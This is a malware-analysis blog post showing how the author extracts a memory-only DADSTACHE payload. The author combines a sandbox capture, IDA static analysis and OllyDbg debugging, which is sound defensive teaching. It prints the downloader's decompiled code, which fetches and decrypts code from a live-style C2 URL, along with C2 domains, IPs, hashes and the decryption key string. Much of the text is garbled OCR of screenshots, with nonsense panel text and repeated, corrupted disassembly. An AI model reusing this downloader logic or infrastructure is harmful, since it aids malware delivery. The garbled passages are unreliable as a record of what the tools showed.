# Knowledge Fragment: Casting Sandbox Necromancy on DADSTACHE

danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html

I'm still thinking of a good way to revive this blog. One idea I had is to simply write about interesting encounters I have while maintaining/extending the <u>Malpedia</u> corpus.

I recently had one such encounter when working on a submission by <u>Rony</u>, about which <u>mak</u> also <u>tweeted</u>. Additionally, Elastic already wrote a detailed <u>blog post</u> on this campaign.

Why this blog post then? Well, I think it's worthwhile to focus a bit on the methodology side of things, especially as this concrete case allows to showcase a common workflow pattern that can be applied during analysis. Generally, I feel that there are great beginner tutorials for malware analysis and RE but material for intermediate skill is not as widely available. Perhaps I should focus on that in the future? Let me know.

For today, as a basis, there is this great <u>ANY.RUN capture</u> for the given case, which we will dissect in this post! I'll also provide all relevant data, so you can use this as a hands-on exercise/walkthrough.

In summary, we will briefly look at an attack using

- a Word-based downloader pulling
- another downloader (using DLL Search Order Hijacking) which then fetches
- a payload that is only decrypted in memory.

Our objective: We want to extract that final memory-only payload. For this we will use Sandbox Necromancy!

#### Sandbox Necromancy?

I've chosen the title "Sandbox Necromancy" to describe the following analysis workflow pattern: Given a previous (automated) dynamic analysis and corresponding recordings (sandbox run, PCAP, memory dumps, …), a malware analyst wants to recreate a specific situation that existed during this dynamic analysis in order to do additional research, e.g. access volatile data.

Over the years I have encountered several variations of this pattern, typically when writing malware traffic/configuration decryptors or unpacking samples.

Sandbox Necromancy may become necessary in cases where the *world changed* since the recordings, for example because the respective C&C server has disappeared or our IP address was blocked or it is generally geofenced and we still want to continue to investigate. It can also be required when there is no VM snapshot from a previous investigation available and we have to recreate a identical runtime situation from whatever data we have still available.

In some cases it also allows us to repeat specific analysis steps decoupled from external dependencies, potentially speeding up the analysis itself.

via GIPHY

I'll now explain how this applies to the concrete case.

#### A wild DADSTACHE appears

Please spend a couple minutes reviewing the following ANY.RUN capture.

Done? Good! :)

			- 12 <sup>h</sup> Malicious activity	
			Bubar Parlimen door	
			MDS: AFRICARE 254A2CE943A5GEEDB5ME310198	
Recycle Bin Acrobot shallaccept watchdegre			Start: 17.66 2020, 13:16 Total line: 300 s	
			Indicators: 편 화 및 은	
			± Get sample	
Frefox Fieldle Clent stopkter.tf			Text report Processes graph ATT&CK** matrix	
	- X			
			PROCESS //tiber by ruante or PED	
Goode award revision strategies into				
Create Microsoft*			<u>к</u> едина на селото на Еслото на селото на се	
W/ord 2010				
VOIG 2010				
2 Starting				
Opera contanisch vouldscent				
Syste documentati, dalyffmessatt				
BROINCE				
© 2018 Microsoft Corporation, All rights reserved.	Cancel			
Come reserves making				
MOVE YOUR MOUSE TO VIEW SCREENSHOTS				
V.C neda serverigient newslettertu				
€ · ) →				
	* (1) 90 D	12:16 PM		
			PROCESS DETAILS:	
A HTTP REQUESTS 3 CONNECTIONS 30 ONS REQUESTS 6 THREATS 1		▲ PCAP		
Time Protocol CN Rep ID Process IP Domain 2 256/are Trans - 2000 Without DD EVE ID 104/216 146 155 ID semifier hours are	ASN PORT TI 442 * 732 h	raffic	LogimanApp.exe (# 2140)	
3310ms TOP - Q 2400 WINNIED EXF ID 151 139 128 14 E Dorso usertruist com Hinbas	inds Network Group Inc. 80 ± 234 h	A114Kh		100
3893ms TCP @ 2400 WINWORD,EXE In 151,139,128,14 Fit ocspusertrust.com Highwi	inds Network Group. Inc. 80 ± 242 b	& 1.15 Kb	Therease edition	out of 100
3895ms TO2 4 2400 WINWORD.EXE 🕥 104.248.148.156 🕞 armybar.hopto.org		۵	Start: - Silletins	
🛱 15150ms 🚾 🚈 🔥 832 svchost.exe 👘 104.248.148.156 🖯 armybar.hopto.org		۵	- Here bet	Matintere
26411ms 10 4 2400 WINWORD.EXE 📋 104.248.148.156 🖯 armybar.hopto.org		▲ 24.4 Kb	otni siture	PHOCIDUS
y 58154ms 📑 🕐 🚈 🦂 2400 WINWORD.EXE 👘 104.248.148.156 🕒 armybar.hopto.org		📥 410 Kb	DANGER	
🖁 59729ms 💶 🕼 2140 LogiMailApp.exe 🗉 104.248.148.156 🕒 armybar.hopto.org		📥 140 Kb	Changes the autorum value in the registry	
121.195 🔽 🎫 🕐 🗊 139.59.31.188 🖨 tomema.myddns.me 🛛 Digital			Application was dropped or rewritten from another process	
121.204 🔤 🕐 🐑 139.59.31.188 🕤 tomema.myddins.me Digital				
123.21s 🔜 🕐 2140 LogiMalApp.exe 👘 139.59.31.188 🖨 tornema.myddns.me Digital				
123.21s 10 🔹 🛞 2140 LogiMalApp.exe 🗈 139.59.31.188 🗋 tornema.myddns.me Digital			Reads Internet Cache Settings	
124.23s 10 😳 2140 LogiMalApp.exe 🗈 139.59.31.188 🕒 tornema.myddns.me Digital				
125.26s 102 - O 2140 LogiMalApp.exe D 139.59.31.188 C tomema.myddns.me Digital				
127.31s 10 - O 2140 LogiMalApp.exe 🗋 139.59.31.188 📋 tomema.myddins.me Digital	Ocean, Inc. 443 ± 120 b			
127.31s 10 - 2140 LogiMalApp.exe () 159.59.31.188 () tomema.myddins.me Digital	1 Ocean, Inc. 443 ± 120 b			
130.36s 10 - 2140 LogiMalApp.exe 1 139.59.31.188 tomema.myddina.me Digital	1 Ocean, Inc. 443 ± 120 b	A		
130.381 ID - O 2100 TeleManuppase (137.53.31.188 C Iomena.myddin.me Digital	10cean, mc. 443 ± 120 b			
133.451 D - O 2140 Logitkalogp.xxe C 139.59.31.188 C tomema.myddmi.me Digital	1 Ocean, Inc. 443 ₹ 120 b	A		
155.455 to 2140 Logikauoppixze 159.59.31.188 to tomema.myddina.me Digital	1 Ucean, inc. 443 1 120 b			

You may have assessed that:

- The process tree lists 3 executables ( WINWORD.exe -> cmd.exe -> LogiMailApp.exe )
- The network tabs list a lot of traffic from WINWORD.exe and LogiMailApp.exe but sadly it appears that everything is encrypted.
- A closer look at the behavior of WINWORD.exe reveals:
  - 6 network connections, pulling ~430kb of data
  - a few created files, among them LogiMailApp.exe and LogiMailApp.dll (adding up to 410kb, corresponding to the downloads)
- A closer look at the behavior of cmd.exe reveals... not much at all, apart from being used to start LogiMailApp.exe .
- A closer look at the behavior of LogiMailApp.exe reveals
  - an initial network check-in (104.248.148.156 (armybar.hopto.org)), leading to a download of 140kb of data
  - a file Encrypted[1] of size 135kb potentially corresponding to that download
  - many more network check-ins (139.59.31.188 (tomema.myddns.me)) to another IP address, starting approximately one minute after the first check-in.

This allows to theorize the secondary check-ins have something to do with the Encrypted[1] and what happens to it once it is downloaded and in-memory. However, there is no way to simply obtain this decrypted in-memory code fragment, as it was not stored by sandbox.

Because the C&C server of interest (104.248.148.156 (armybar.hopto.org)) is dead by now, we can not simply perform a dynamic analysis / debugging session and walk through these steps as Encrypted[1] will never be downloaded. Maybe we also do not want the threat actors to know that we are performing this analysis and want to perform no network interaction anyway. This is where our sandbox necromancy comes into play.

Luckily, ANY.RUN allows us to collect all files needed to revive the execution state. They are also available on VirusTotal and potentially elsewhere:

LogiMailApp.exe (optional) sha256: 93810c5fd9a287d85c182d2ad13e7d30f99df76e55bb40e5bc7a486d259810c8 LogiMail.dll (sideloaded by LogiMailApp.exe - but can also be loaded directly in a debugger) sha256: 11508c1727134877dea18f30df2d2c659a112e632c3fb8e16ddad722727c775a Encrypted (our target) sha256: 06a4246be400ad0347e71b3c4ecd607edda59fbf873791d3772ce001f580c1d3 If you want to play along, I have packaged them <u>here</u> (password: <u>infected</u>) for simplicity. I spare you the typical warnings about malware and just assume you know what you are doing when you ended up reading so far in. :)

#### Analysis of LogiMail.dll

We will now dive a bit deeper, first obtaining an overview using static analysis and then performing the actual necromancy using a debugger.

### **Static Analysis**

Looking at LogiMail.dll , we quickly identify the function DllGetClassObject at offset 0x10002250 as relevant because

- it makes use of WinAPI calls such as URLDownloadToFileA, ReadFile, and CryptDecrypt, which fits what we are looking for and
- it is also an exported function

Here's the control flow graph:

/ EADO	orted entry 2. DllGetClassObject
; Attr	ributes: bp-based frame
; HRES	<pre>SULTstdcall DilGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID DilGetClassObject</pre>
DllGet	ClassObject proc near
Det- 1	ute str -218b
pbBina	syte ptr -216h
Number	COTBytesRead= dword ptr -10h
var_C= cchStr	= dword ptr -0Ch ring= dword ptr -8
pcbBin	hary= dword ptr -4
rclsid	i= dword ptr 8 dword ptr 0Ch
ppv= d	iword ptr 10h
nush	ebp
mov	ebp, esp
sub	esp, 218h
push	eax, [epp+ust] ebx
push	esi
push	edi 104b : Size
push	0 ; Val
push	eax ; void *
mov	<pre>memset ecx, offset pszString ; "HcRVJiZhrS2e0itoEyk/kaOz5fgCiLl4tr6CI4R"</pre>
add	esp, 0Ch
lea	edx, [ecx+1] word ptr [eax+eax+00b]
	mov al, [ecx] inc ecx test al, al jnz short loc_10002280
	mov al, [ecx] inc ecx test al, al jnz short loc_10002280
	mov al, [ecx] inc ecx test al, al jnz short loc_10002280
	push 104h ; Size
	push 104h (5)+pbBinary]
	push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val
	Image: Non-all (ecx) inc ecx inc ecx test al, al inz short loc_10002280         push 104h ; Size         lea eax, [ebp+pbBinary]         sub ecx, edx         push 0 ; Val         push eax ; void *
	Image: 10002280;         mov       al, [ecx]         inc       ecx;         inc       ecx]         inc       ecx         inc       ecx         inc       ecx         inc       ecx         inc       ecx         inc       ecx         inc       inc         inc
	push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; void * mov [ebp+cchString], ecx callmemmet add esp, 0Ch
	push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; ivoid * mov [ebp+cchString], ecx callmemmet ad eap, 0Ch mov [ebp+pbBinary], 104h lea cau [chpint]
	push 104h ; Size lea eax, [ebp+pbBinary] sub eax, [cbp+pbBinary] sub eax, [cbp+pbBinary] sub eax, [cbp+pbBinary] sub eax, eax push 0 ; Val push eax ; cbp+cchString], eax callmemmet add esp, 0Ch mov [cbp+pcBinary], 104h lea eax, [cbp+Dst] mov [cbp+par_C], 0
	<pre>push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push 0 ; Val push 0 ; Val push 0 ; Val push eax ; ebp+chString], ecx callmemmaet add esp, 0Ch mov [ebp+pcBinary], 104h lea eax, [ebp+Dst] mov [ebp+var_C], 0 push 104h ; Size</pre>
	<pre>ublication of the set of the</pre>
	<pre>understand push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push 0 ; Val push eax ; void * mov [ebp+cchString], ecx callmemmet add esp, 0Ch mov [ebp+cchString], 104h lea eax, [ebp+Dot] mov [ebp+tocBinary], 104h lea eax ; lebptot] mov [ebp+tocBinary], 104h lea eax ; lea eax ; lea</pre>
	<pre>push 04h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push 0 ; Val push 0 ; Val push eax ; void * mov [ebp+cchString], ecx callmemset add esp, 0Ch mov [ebp+pcbBinary], 104h lea eax, [ebp+bs] mov [ebp+ar_C], 0 push 04h ; nSize push eax ; lpDst push offset Src ; "tTMP\$\\-liseces1.pcs" call d: ExpandEnvironmentStringsA push 0 ; pdwFlags push 0 ; pdwFlags</pre>
	<pre>push 104h ; Size lea eax, [ebp+pbBinary] sub ecx eax push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; void * mov [ebp+cchString], ecx callmemmet add esp, 0Ch mov [ebp+pcbBinary], 104h lea eax ; [ebp+bz] mov [ebp+var_C], 0; Size push 104h ; Size push eax ; lpDst push eax ; lpDst push offset Src ; "%TMP%\~liseces1.pcs" call d: ExpandEnvironmet. push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags</pre>
	<pre>push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; [void * mov [ebp+cchString], ecx callmemmet add esp, 0Ch mov [ebp+pcBinary], 104h lea eax, [ebp+bcl] mov [ebp+pcBinary], 104h lea eax ; [lpbt push offset Src ; "%TMP%\\-liseces1.pcs" call ds:ExpandEnvironmentStringsA push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags</pre>
	<pre>ush 04h ; Size leak eax, [ebp+pbBinary] sub ecx, edx push eax, edx push eax, edx push eax, edx push eax, edx push eax, edx push eax ; void * mov [ebp+cchString], ecx callmomet add eap, 0Ch mov [ebp+pcbBinary], 104h leak eax, [ebp+bat] mov [ebp+bcbTinary], 104h leak eax, [ebp+bat] mov [ebp+bcbTinary], 104h leak eax, [ebp+bat] push offset Src ; "%TMP%\-liseces1.pcs" call de:ExpandEnvironmentStringsA push 0 ; pdwSkip leak eax, [ebp+pcbBinary] push eax ; [ebp+bBinary] push eax ; pdbBinary leak eax, [ebp+pbBinary] push eax ; pbBinary</pre>
	<pre>use control contr</pre>
	<pre>push 104h ; Size inc ecx inc ecx test al, al jnz short loc_10002280 push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push o ; Val push eax ; void * mov [ebp+ccBting], ecx callmemmet add esp, 0Ch mov [ebp+topBinary], 104h lea eax, [ebp+bot] mov [ebp+topBinary], 104h lea eax ; ipDat push offset Src ; iPDat push offset Src ; iPDat push of ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push eax ; ipDBinary lea eax, [ebp+pbBinary] push eax ; pbBinary lea eax, [ebp+pbBinary] push eax ; pbBinary push i c ; dwFlags push i ; dwFlags push ; j ; j ; j ; j ; j ; j ; j ; j ; j ;</pre>
	<pre>push 104h ; Size inc ecx test al, al jnz short loc_10002280 push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; void * mov [ebp+cchString], ecx callmemmet add esp, 0Ch mov [ebp+ccbBinary], 104h lea eax, [ebp+bc] mov [ebp+acc], 0 push offset Src ; "TMP*\\-liseces1.pcs" call ds: ExpandEnvironmentStringeA push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push eax ; [ebp+pcBBinary] lea eax, [ebp+bBinary] push eax ; pbBinary push eax ; pbBinary push eax ; pbBinary push i c_ ; defFlags push 0 ; defFlags push 1 ; defFlags push 1 ; defFlags push i c_ ; defFlags</pre>
	<pre>push 104h ; Size inc ecx test al, al jnz short loc_10002280 push 104h ; Size lea eax, [ebp+pbBinary] sub ecx, edx push 0 ; Val push eax ; void * mov [ebp+ccbBinary], ecx callmemset add esp, 0Ch mov [ebp+ccbBinary], 104h lea eax, [ebp+bob] mov [ebp+var_C], 0 push eax ; lpDst push eax ; lpDst push offset Src ; "TMP%\\-liseces1.pcs" call ds:ExpandEnvironmenty] push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push 0 ; pdwFlags push eax ; pbBinary] lea eax, [ebp+pcBBinary] push eax ; pbBinary push eax ; ceptorbBinary] push eax ; pbBinary push 0 ; dwFlags push 1 ; dwFlags push 0 ; pdwFlags push 1 ; dwFlags push 1 ; dwFlags push (ctyptStringTbinary] push eax ; pbBinary push cfiset psString ; "HCRV012hF32e0itoEyk/ka0r5fqCiLl4tr6CI4R" call ds:CyptStringTbinaryA test eax, eax ir loc11002280</pre>





Through careful analysis we can learn the following:

- "%TMP%\\~liseces1.pcs" is being passed to ExpandEnvironmentStringsA, which replaces %TEMP% by the full path. In case of our ANY.RUN trace, this would be C:\Users\admin\AppData\Local\Temp\~liseces1.pcs
- a string HcRVJiZhrS2e0itoEyk/ka0z5fqCiLl4tr6CI4Rl05FWMRCgDA2dXXbaKMHm9Ffv is being passed to CryptStringBinaryA with flag 0x1 (meaning CRYPT\_STRING\_BASE64 ), which will then produce the corresponding binary string
   (1dc455262661ad2d9ed22b6813293f91a3b3e5fa8288b978b6be822384653b91563110a00c0d9d5d76da28c1e6f457ef )
  - in pbBinary
- pbBinary is then decrypted using CryptDecrypt (with hKey being previously set up in sub\_10002430 -> an AES128 key derived using the SHA256 hash of string 7PLGdUh0jc-1GoE1 )
- this decrypted string is then being passed to UrlDownloadToFileA, indicating it's potentially a URL. As download destination, we can see the previously expanded path for ~liseces1.pcs being used
- if the download is successful, the file is read ( CreateFileA , GetFileSize , ReadFile ) and afterwards deleted ( DeleteFileA )
- Another call to CryptDecrypt is used on the file content now residing in memory.
- The decrypted contents are being passed to <a href="sub\_100012f0">sub\_100012f0</a> let's assume for now this is for readying execution of the in-memory payload.

For readability, here's also HexRays' decompilation output:

```
HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv)
{
 HANDLE v3; // eax
 void *v4; // edi
 DWORD v5; // esi
 void *v6; // ebx
 CHAR Dst[260]; // [esp+Ch] [ebp-218h]
 BYTE pbBinary[260]; // [esp+110h] [ebp-114h]
 DWORD NumberOfBytesRead; // [esp+214h] [ebp-10h]
 int v11; // [esp+218h] [ebp-Ch]
 DWORD cchString; // [esp+21Ch] [ebp-8h]
 DWORD pcbBinary; // [esp+220h] [ebp-4h]
 memset(Dst, 0, sizeof(Dst));
 cchString = strlen(pszString);
 memset(pbBinary, 0, sizeof(pbBinary));
 pcbBinary = 260;
 v11 = 0;
 ExpandEnvironmentStringsA("%TMP%\\~liseces1.pcs", Dst, 0x104u);
 if ( CryptStringToBinaryA(pszString, cchString, 1u, pbBinary, &pcbBinary, 0, 0) &&
       sub_10002430() )
  {
   if ( CryptDecrypt(hKey, 0, 1, 0, pbBinary, &pcbBinary) )
   {
      sub_10002530();
      pbBinary[pcbBinary] = 0;
      sub_10001FB0(pszString, "%s", (const char *)pbBinary);
      while (1)
      {
        if ( !URLDownloadToFileA(0, pszString, Dst, 0, 0) )
        {
          v3 = CreateFileA(Dst, 0x80000000, 1u, 0, 3u, 0, 0);
         v4 = v3;
         if ( v3 != (HANDLE)-1 )
          {
            v5 = GetFileSize(v3, 0);
            cchString = v5;
            v6 = malloc(v5);
            ReadFile(v4, v6, v5, &NumberOfBytesRead, 0);
            CloseHandle(v4);
            DeleteFileA(Dst);
            if ( sub_10002430() )
            {
              if ( CryptDecrypt(hKey, 0, 1, 0, (BYTE *)v6, &cchString) )
                sub_100012F0(&v11);
            3
            sub_10002530();
         }
        }
        Sleep(0x3E8u);
     }
   }
   sub_10002530();
 }
 return 0;
}
```

Alright, armed with this knowledge, we can now plan our ritual.

## **Dynamic Analysis**

Given that we already have the involved files, we can simply craft the desired execution flow in the debugger. This will let us ignore the cryptography details and work with a ~liseces1.pcs - which already magically appeared without the need of network access. We will only need LogiMail.dll and Encrypted for this.

Our plan is to simply start up LogiMail.dll and step through DllGetClassObject. As all WinAPI calls except URLDownloadToFileA have no dependency, we should be able to work our way through them from the beginning of the function. We will then just skip the download and modify the arguments of CreateFileA to point wherever we put the

"downloaded" file. Once it is read into memory and decrypted, we simply dump the buffer to obtain our initially stated goal: extraction of a payload, previously not found in the sandbox run.

My tool of choice here is a Win7 VM and OllyDbg.

The following screenshot shows the initial view after loading the DLL:



We see that Windows decided that 0x1c0000 was a good place to load LogiMail.dll and simply adjust all offsets to that. The function OllyDbg sets us initially to is DllEntryPoint . If we would simply redirect our execution now to our target function DllGetClassObject, we might encounter problems, as execution has not been set up properly yet (stack cookie and heap initialization, ...). So it does not hurt to simply step over until the end of this function (return at 0x1c2eee ).

This is now also an exceptionally great time to create a first VM snapshot. :)

We are now ready to jump (CTRL+G) to DllGetClassObject at  $0 \times 1c2250$ . In order to continue here, we simply set the first instruction as "New Origin" via the context menu



We are greeted with the strings and WinAPI calls identified during static analysis. As I said, we do not want to be bothered with the cryptography and download, so we can simply set a breakpoint on the call to URLDownloadToFileA (0x1c2362) and run:



Nice! As a side-effect we now also get the download URL that we already knew from the ANY.RUN trace (https://armybar.hopto.org/Encrypted). Note that the sandbox so far gave us only the server (armybar.hopto.org) but not exact URL for this - while rightfully assuming so, we now additionally confirmed that the file Encrypted found in the Temporary Internet Files is the actual ~liseces1.pcs to be used next for decryption.

As strategized before, we will now *not* execute this API call but instead simply jump over it and proceed to the next instruction test eax, eax. As we can see, it is expected that URLDownloadToFileA would return 0x0 in order to continue into the part of the function that loads the file. We can simply clear the EAX register by manipulating its content. For convenience, we also don't need to place our Encrypted file at the location for shown in the screenshot (C:\Users\redacted\AppData\Local\Temp\~liseces1.pcs) but we can simply put it in any other location of our choice and change the path in the dump. The results of these actions (proceed execuction, modify file location) are shown in this screenshot:



One thing is important to note here: As we had already pushed arguments for URLDownloadToFileA onto the stack but did not execute the API call, this may have deranged the stack (by 5 DWORDs to be exact). This can be an issue when manipulating execution context in bigger debugging sessions. We avoid this, we could have set our breakpoint to 0x1c2350 (before execution of the argument pushes) instead, or manually fixed ESP. For this situation, this does not matter too much as we will not leave the context of this function and all relevant following pointer are relative to EBP.

Continuing our execution, we next need to know where the file contents will be stored in memory for decryption. For this, we can execute until after the **ReadFile** API call, because we can reconstruct the location from the **EBX** register:



You can follow the mouse cursor and see EBX pointing to 0x2e6740, with the contents shown in the dump tab in the lower left corner. Our final steps are now continuing execution until after the CryptDecrypt and extracting the decrypted payload:

🔆 OllyDbg - LogiMail.dll												_ 8 ×
File View Debug Trace Plu	gins Options Windows Help											
🖻 📢 🗙 🕨 🎽 🔛	HEEMWICRB	M H 🔚										
C CPU - main thread, modu	le LogiMail				- O ×	M Memory map						-     ×
001C233C 68 <u>04981D00</u>	PUSH OFFSET 00109884	ASCII "https://armybar.hopto.or	g/Encrypted"	Registers (3DNo	wt) 🔺	Address Size	Owner	Section	Contains	Type	Access	Initial 🔺
001C2346 83C4 0C	ADD ESP. 0C			EAX 0000001 ECX 05145563 CF	WPTSP.05145563	00010000 0001000				Priv	RU	RU
001C2350 6A 00 001C2352 6A 00	PUSH 0 PISH 0			EBX 1882E6748		000000000000000000000000000000000000000				Ing	RU R PM Gus	RUE Cop
001C2354 8D85 E8FDFFFF 001C235A 50	LEA EAX. (EBP-218) PUSH EAX			EBP 0018FC50					Stack of main thread	Priv	RU Gua	RM Gua
001C235B 68 <u>84981D20</u> 001C2360 6A 00	PUSH OFFSET 001D98A4 PUSH 0	ASCII "https://armybar.hopto.ou	g/Encrypted"	EDI 00021210 EDI 00000084		00190000 00004000			ordex of fight firede	Map	R	R
00102362 FF15 58211D00 00102368 8500	CALL DWORD PTR DS:[<&urlnon.URLDownloadToFileA>] TEST_EAX,EAX			EIP 001C2SEC Lo C 0 ES 002B 32	giMail.001C23EC	00180000 00001000	a LogiMail		PE header	Prio	RU R	RU RUE Copt
001C236A V 0F85 93000000 001C2370 50	UNE 001C2403 PUSH ERX			P 1 CS 0023 32 A 0 SS 0028 32	bit 0(FFFFFFFF)	001C1000 00011000 001D2000 00007000	8 LogiMail 8 LogiMail	.text .rdata	Code Imports, exports	Ing	RE R	RUE Cop RUE Cop
001C2371 50 001C2372 6A 03	PUSH ERX PUSH 3			Z 1 DS 002B 32 S 0 FS 0053 32	bit 0(FFFFFFF) bit 7EFDD000(FFF)	001D9000 00002000 001D8000 00002000	B LogiMail LogiMail	.data .reloc	Data Relocations	Ing	RUR	RUE Cop RUE Cop
001C2374 50 001C2375 6A 01 001C2377 69 00000000	PUSH EHA			T 0 GS 002B 32 D 0	bit 0(FFFFFFF)	001E0000 00001000 001E1000 00001000	api-ms-win-core	.text	PE header Code,exports	Ing	R R E	RUE Cop
001C237C 8D85 E8FDFFFF 001C2382 50	LEA EAX, (EBP-218) PUSH FAX			EFL 0000246 (N	0000000 ERROR_SUCCESS	testinen conser	apt-ws-wth-core	.rsrc	Dava, resources	Priv	RU	RU COD
001C2383 FF15 3C201D00 001C2389 8BF8	CHLL DWORD PTR DS:[ <tkernel32.createfilea>] MOV EDI.ERK</tkernel32.createfilea>			nne e		00400000 00001000	Loaddll	CODE	PE header	Ing	RF	RUE Cop
001C2388 83FF FF 001C238E v 74 73	CMP EDI1 JE SHORT 001C2403			MM2	0.0 0.0	00420000 00003000	loaddil loaddil	DATA	Data Inports	Ing	RU RU	RUE Cop
001C2390 6R 00 001C2392 57	PUSH Ø PUSH EDI			MM4 MM5		00440000 00001000	8 Loaddil 9 Loaddil	.edata .rsrc	Exports Resources	Ing	RR	RUE Cop RUE Cop
001C2393 FF15 30201000 001C2399 88F0	MOU ESI, EAK			MM6 6 MM7 6	0.0 0.0	00460000 00067000	3			Map Map	R	R
001C2370 50 001C239C 8975 F8 001C239E 58 60E40000	MOU DWORD PTR SS: [EBP-8], ESI			химе ессессо с	366 6666666 666666	00650000 00003000				Map	RR	RRO
001C23R4 83C4 04 001C23R7 88D8	ADD ESP,4 MOU ERX,EAX			XH112 00000000 0		02E20000 0001200	sechost	tout	PE header	Ing	R c	RUE Cop
001C23R9 8D45 F0 001C23RC 6R 00	LEA EAX, [EBP-10] PUSH 0			X1113 0000000 0 X1114 00000000 0	0000000 00000000 000	02834000 00001000	sechost	data	Bata Resources	Ing	R⊌ Cop	RUE Cop
001C23AE 50 001C23AF 56	PUSH EAX PUSH ESI			XH116 28282828 2	102020200 000000000 000 10202020 20202020 202	02E330000 00001000 05140000 00001000	sechost CRVPTSP	reloc	Relocations PE header	Ing	R	RUE Cop RUE Cop
001C23B0 53 001C23B1 57	PUSH EBX PUSH EDI			MXCSR 00001F80	FZ 0 D2 0 Err 0 0	05141000 00012000 05153000 00001000	0 CRVPTSP 0 CRVPTSP	.text .data	Code, imports, exports Data	Ing	R E R⊎	RUE Cop RUE Cop
001C2382 FF15 48211000 001C2388 57 001C2389 FF15 24201000	PUSH EDI				Rnd NEAR Mask 1 1	05154000 00001000 05155000 00001000	CRVPTSP CRVPTSP	.reloc	Resources Relocations	Ing	R	RUE Cop
001C238F 8D85 E8FDFFFF 001C23C5 50	LEA EAK, [EBP-218]					08001000 0003400	ð rsaenh	.text	Code, imports, exports	Ing	RE C	RUE COD
001C23C6 FF15 38201D80 001C23CC E8 5F000000	CALL DWORD PTR DS:E(%KERNEL32.DeleteFileA)]					00033000 0000100	rsaenh	rsrc	Resources	Ing	R COP R R	RUE Cop
001C23D1 84C0 001C23D3 v 74 29	TEST AL, AL JE SHORT 001C23FE					10000000 00001000	CRVPTBASE	.text	PE header Code, imports, exports	Ing	R R E	RUE Cop
001C23D5 8D45 F8 001C23D8 50	LEA EAK, CEBP-81 PUSH EAX					10009000 00001000 10000000 00001000	CRVPTBRSE CRVPTBRSE	.data .rsro	Resources	Ing	RU R	RUE Cop RUE Cop
001C23D9 63 001C23DA 6A 00	PUSH 0					1000E000 00001000 40260000 00001000	9 CRVPTBRSE 9 MSRSN1	.reloc	PE header	Ing	R	RUE Cop RUE Cop
001C23DE 6A 00 001C23E0 FE35 04041000	PUSH 0 PUSH 0 PUSH 0 PUSH DWDRD PTR DS+C1D04041					40261000 00001000	9 MSHSN1 9 MSHSN1	.text .data	Data Data	Ing	RU	RUE COP
REIGERES FF15 CORDIDES REIC23EC SSC0	CALL DWORD PTR DS:[<&ADUAPI32.CryptDecrypt>] TEST EAX,EAX					40268000 00001000	MSASN1	.reloc	Relocations	Ing	RR	RUE Cop
001C23EE V 74 0E 001C23F0 8D45 F4	JE SHORT 001C23FE LEA EAX, LEBP-0C1					60E21000 00051000 60E72999 99991999	SHLWAPI SHLWAPI	.text .data	Code, inports, exports	Ing	R E RU	RUE Cop RUE Cop
001C23F3 8BCB 001C23F5 50	MOU ECK, EBK PUSH EAK					6DE73000 00001000 6DE74000 00003000	8 SHLWAPI 3 SHLWAPI	.rsrc .reloo	Resources Bata, relocations	Ing	RR	RUE Cop RUE Cop
001C23F6 E0 FSEEFFFF 001C23FB 83C4 04 001C23FE E2 30010000	A00 ESP,4	Backup	Create backup			6F8E0000 00001000 6F8E1000 0005E000	USP10 USP10	.text	PE header Code, imports, exports	Ing	RE	RUE Cop
001C2403 68 E8030000 001C2408 FE15 44201D00	PUSH SE8	Edit Add Jahol Colon (i)	Load backup from file			6F93E000 0001200	USP10	Shared	Becourses	Ing	R	RUE Cop
001C240E ^ E9 30FFFFFF 001C2413 E8 18010000	JTP 001C2350 CALL 001C2530	Assemble Space	Save data to file			6F978000 00003000 6FC38080 00001000	USP10 OLEBUT32	reloo	Relocations	Ing	RR	RUE Cop
001C2418 5F 001C2419 5E	POP EDI POP ESI	Breakpoint	2			6FC31000 00084000 6FC85000 00001000	0 OLEAUT32 0 OLEAUT32	.text	Code, inports, exports	Ing	RE	RUE Cop RUE Cop
001C241H 33C0 001C241C 5B	POP EBX	Cala				6FCB6000 00002000 6FCB8000 00001000	0 OLERUT32	.data .rsrc	Data Resources	Ing	RU R	RME Cop RME Cop
001C241D 00E5 001C241F 5D 001C2420 C3	POP EBP	30.00	-	1		6FCE9000 00006000 6FF50000 00001000	msvort	.reloc	PE header	Ing	R R F	RUE Cop
ERX=00000001		Decode as structure		ī		GFFF0000 0000100	a msucrt	.data	Data Recourses	ing	R⊎ Cop	RUE Cop
		Search for	•			6FFF8000 00004000 70990000 00001000	msvort MSCTF	reloo	Relocations	Ing	RR	RUE Cop
	00011	Addressing	· ·		×	70991000 00003000 70914000 00002000	8 MSCTF 8 MSCTF	.text .data	Code, inports, exports Data	Ing	R E R⊌ Cop	RUE Cop
002E6740 40 5A 90 00 03 00	0 00 00 04 00 00 FF FF 00 00 MZE • •	✓ Hex	SCII "https://arnybar	.hopto.org/Enery	oted"	70416000 00041000 70457000 00005000	a MSCTF	.rsro .reloc	Relocations	Ing	R	RUE Cop RUE Cop
002E6750 88 00 00 00 00 00 00 00 00		Text				71200000 00001000	9 WININET	.text	Code, imports, exports	Ing	RE C	RUE Cop
002E6730 0E 1F BA 0E 00 B4	09 CD 21 B8 01 4C CD 21 54 68 ATA 4= 100L=Th	Integer	•			712C8080 8082E80	WININET	.rsrc	Data, resources	Ing	Re cop R	RUE Cop
